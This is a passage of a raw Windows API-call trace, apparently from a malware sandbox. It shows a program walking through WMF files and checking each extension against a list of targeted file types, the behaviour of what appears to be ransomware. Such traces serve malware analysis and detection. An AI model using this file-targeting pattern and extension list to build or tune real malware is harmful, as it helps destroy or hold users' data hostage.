ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0239.759] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0239.759] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0239.759] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0239.760] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0239.760] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0239.760] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0239.760] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0239.760] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0239.760] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0239.761] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0239.762] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0239.762] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0239.762] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0239.762] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0239.762] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0239.762] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0239.763] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0239.763] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0240.406] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0240.406] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0240.406] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0240.406] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0240.407] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0240.409] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0240.409] lstrlenW (lpString="J0136865.WMF") returned 12 [0240.409] lstrlenW (lpString=".1cd") returned 4 [0240.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".3ds") returned 4 [0240.409] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".3fr") returned 4 [0240.409] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".3g2") returned 4 [0240.409] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".3gp") returned 4 [0240.409] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".7z") returned 3 [0240.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.409] lstrlenW (lpString=".accda") returned 6 [0240.409] lstrcmpiW (lpString1=".accda", lpString2="65.WMF") returned -1 [0240.409] lstrlenW (lpString=".accdb") returned 6 [0240.409] lstrcmpiW (lpString1=".accdb", lpString2="65.WMF") returned -1 [0240.409] lstrlenW (lpString=".accdc") returned 6 [0240.409] lstrcmpiW (lpString1=".accdc", lpString2="65.WMF") returned -1 [0240.409] lstrlenW (lpString=".accde") returned 6 [0240.409] lstrcmpiW (lpString1=".accde", lpString2="65.WMF") returned -1 [0240.409] lstrlenW (lpString=".accdt") returned 6 [0240.409] lstrcmpiW (lpString1=".accdt", lpString2="65.WMF") returned -1 [0240.409] lstrlenW (lpString=".accdw") returned 6 [0240.409] lstrcmpiW (lpString1=".accdw", lpString2="65.WMF") returned -1 [0240.409] lstrlenW (lpString=".adb") returned 4 [0240.409] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".adp") returned 4 [0240.409] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0240.409] lstrlenW (lpString=".ai") returned 3 [0240.409] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0240.410] lstrlenW (lpString=".ai3") returned 4 [0240.410] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".ai4") returned 4 [0240.410] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".ai5") returned 4 [0240.410] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".ai6") returned 4 [0240.410] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".ai7") returned 4 [0240.410] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".ai8") returned 4 [0240.410] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".anim") returned 5 [0240.410] lstrcmpiW (lpString1=".anim", lpString2="5.WMF") returned -1 [0240.410] lstrlenW (lpString=".arw") returned 4 [0240.410] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".as") returned 3 [0240.410] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0240.410] lstrlenW (lpString=".asa") returned 4 [0240.410] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0240.410] lstrlenW (lpString=".asc") returned 4 [0240.410] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0240.410] lstrlenW 